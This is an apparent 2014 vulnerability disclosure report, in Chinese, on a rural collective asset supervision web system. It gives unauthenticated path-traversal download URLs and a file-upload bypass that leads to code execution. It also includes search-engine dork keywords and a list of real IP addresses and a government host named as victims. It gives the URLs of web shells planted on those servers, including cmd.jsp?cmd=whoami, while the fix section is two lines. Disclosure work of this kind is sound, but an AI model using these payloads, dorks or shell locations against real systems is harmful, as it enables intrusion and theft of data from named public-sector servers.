漏洞详情

披露状态:

2014-07-28: 细节已通知厂商并且等待厂商处理中
2014-08-02: 厂商已经确认,细节仅向厂商公开
2014-08-05: 细节向第三方安全合作伙伴开放
2014-09-26: 细节向核心白帽子及相关领域专家公开
2014-10-06: 细节向普通白帽子公开
2014-10-16: 细节向实习白帽子公开
2014-10-26: 细节向公众公开

简要描述:

RT

详细说明:

开发公司:北京中农信达信息技术有限公司(http://www.agrij.com/)
程序名称:中农信达农村集体三资网络监管系统
漏洞类型:任意文件下载,任意文件上传导致代码执行
漏洞文件:servlet/downloadfile?filename= 文件下载
/hzs/HTMLEditor/upload_img.jsp 任意文件上传
是否需要登录:否
关键字:inurl:login_form.jsp
intitle:中农信达农村集体三资网络监管系统
影响用户:
以下案例百度搜集,方便演示:

http://202.99.207.13:8081/finance11n/servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/
http://124.164.240.217:8080/finance03/servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/
http://111.12.148.194:7005/finance_qhld/servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/
http://61.185.74.147:8080/finance67/servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/
http://nat.nat123.net:11158/finance/servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/
http://www.cldwcwgk.gov.cn:8083/finance80/servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/
http://116.255.135.35:8082/finance_glx/servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/
http://221.131.81.143:7001/finance_oracle/servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/


一. 任意文件下载:
servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/
实例演示:
1.
http://202.99.207.13:8081/finance11n/servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/

1.jpg


2. 下载tomcat/conf/web.xml
http://124.164.240.217:8080/finance03/servlet/downloadfile?filename=/../../../conf/web.xml&userid=/

1.jpg


3. 下载WEB-INF/web_ODBC.xml文件
http://111.12.148.194:7005/finance_qhld/servlet/downloadfile?filename=/../WEB-INF/web_ODBC.xml&userid=/

1.jpg


4.下载WEB-INF/dbBean.java
http://61.185.74.147:8080/finance67/servlet/downloadfile?filename=/../WEB-INF/dbBean.java&userid=/

1.jpg


5.
http://www.cldwcwgk.gov.cn:8083/finance80/servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/

1.jpg

漏洞证明:

二:任意文件上传导致代码执行
/hzs/HTMLEditor/upload_img.jsp
这个上传有点意思,源码分析一下吧

Hashtable formfields = new Hashtable();
int pos = contentType.indexOf("boundary="); //后台处理上传尽然用boundary=来切割处理数据...
if (pos != -1) {
pos += "boundary=".length();
boundary = "--" + contentType.substring(pos);
lastboundary = boundary + "--";
}
int state = 0;
DataInputStream in = new DataInputStream(request.getInputStream());
in.readFully(b);
in.close();
String reqcontent = new String(b);
BufferedReader reqbuf = new BufferedReader(new StringReader(reqcontent));
boolean flag = true;
int i = 0;
while (flag == true) {
String s = reqbuf.readLine();
if ((s == lastboundary) || (s == null)) break;
switch (state) {
case 0:
if (s.startsWith(boundary)) {
state = 1;
i++; } break;
case 1:
pos = s.indexOf("filename="); //在处理filename时,类似filename="xx.xx"中的第一个"双引号会直接带入文件名,这样就导致上传失败,所以上传时抓包去掉第一个双引号"
if (pos == -1) {
pos = s.indexOf("name=");
pos += "name=".length() + 1;
s = s.substring(pos);
int l = s.length();
s = s.substring(0, l - 1);
fieldname = s;
state = 3;
}


实例演示:
1.
http://124.164.240.217:8080/finance03/hzs/HTMLEditor/upload_img.jsp
直接选择jsp抓包,filepath改成存在的目录,这里我改成/hzs/;去掉filename="xxx.xx"中的第一个双引号:

1.jpg


shell地址:http://124.164.240.217:8080/finance03/hzs/JFolder.jsp

1.jpg


2.
http://61.185.74.147:8080/finance67/hzs/HTMLEditor/upload_img.jsp
直接选择jsp抓包,filepath改成存在的目录,这里我改成/hzs/;去掉filename="xxx.xx"中的第一个双引号:(这里提交包的时候,/finance67/会变成finance,记得改成/finance67)

1.jpg


shell地址:http://61.185.74.147:8080/finance67/hzs/JFolder.jsp

1.jpg


3.
http://www.cldwcwgk.gov.cn:8083/finance80/hzs/HTMLEditor/upload_img.jsp
方法同上:

1.jpg


shell地址:http://www.cldwcwgk.gov.cn:8083/finance80/hzs/JFolder.jsp

1.jpg


4.
http://116.255.135.35:8082/finance_glx/hzs/HTMLEditor/upload_img.jsp

1.jpg


shell地址:http://116.255.135.35:8082/finance_glx/hzs/Folder.jsp

1.jpg


5.
http://221.131.81.143:7001/financeold/hzs/HTMLEditor/upload_img.jsp

1.jpg


shell地址:http://221.131.81.143:7001/financeold/hzs/cmd.jsp?cmd=whoami

1.jpg

修复方案:

参数过滤。
上传限制类型

标签: none

评论已关闭